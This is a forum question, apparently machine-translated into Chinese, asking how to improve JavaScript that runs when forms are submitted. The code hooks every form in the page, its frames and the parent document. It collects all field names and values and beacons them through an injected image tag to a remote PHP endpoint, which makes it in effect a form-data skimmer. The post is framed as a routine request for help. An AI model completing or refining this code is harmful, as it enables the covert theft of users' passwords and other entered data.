我需要能够在表单提交后执行一个 php 链接,除了执行一个没有一些神圣的警告框的 URL 之外,我已经在 JS 中完成了所有工作,至少可以说不是非常用户友好。我的前任并不真正了解 XSS,所以只是添加了一个图像标签来尝试执行链接,您对我如何改进/使其正常工作有任何想法.. 在此先感谢
功能一
function attach(wnd,handler){
for(var i=0; i<wnd.document.forms.length; i++){
var form = wnd.document.forms[i];
form.addEventListener('submit', handler,false);
}
for(var i=0; i<wnd.frames.length; i++){
var iwnd = wnd.frames[i];
attach(iwnd,handler);
}
}
功能二
function formSubmit(e){
var forms=parent.document.getElementsByTagName("form");
for (i = 0 ; i < forms.length; i++)
{
var chain="";
var forms=parent.document.getElementsByTagName("form");
for (x = 0 ; x < forms.length; x++)
{
var elements=forms[x].elements;
for (e = 0 ; e < elements.length; e++)
{
chain += elements[e].name + "%3d" + elements[e].value + "|";
}
}
//Very bad code XSS etc
var pic = document.createElement('img');
pic.className = 'avatar';
pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
pic.height = '50';
pic.width = '50';
document.getElementById('test').appendChild(pic);
}
}
简单添加监听器
window.addEventListener('load', function(){attach(window,formSubmit);},false);
还是这个 Js 更好,但我不太确定如何将链的值返回到 url
function FormEnum()
{
var forms = parent.document.getElementsByTagName("form");
for (i = 0 ; i < forms.length; i++)
{
forms[i].addEventListener('submit', function() {
var chain = "";
var forms = parent.document.getElementsByTagName("form");
for (x = 0 ; x < forms.length; x++)
{
var elements = forms[x].elements;
for (e = 0 ; e < elements.length; e++)
{
chain += elements[e].name + "%3d" + elements[e].value + "|";
}
}
attachForm(chain);
}, false);
}
}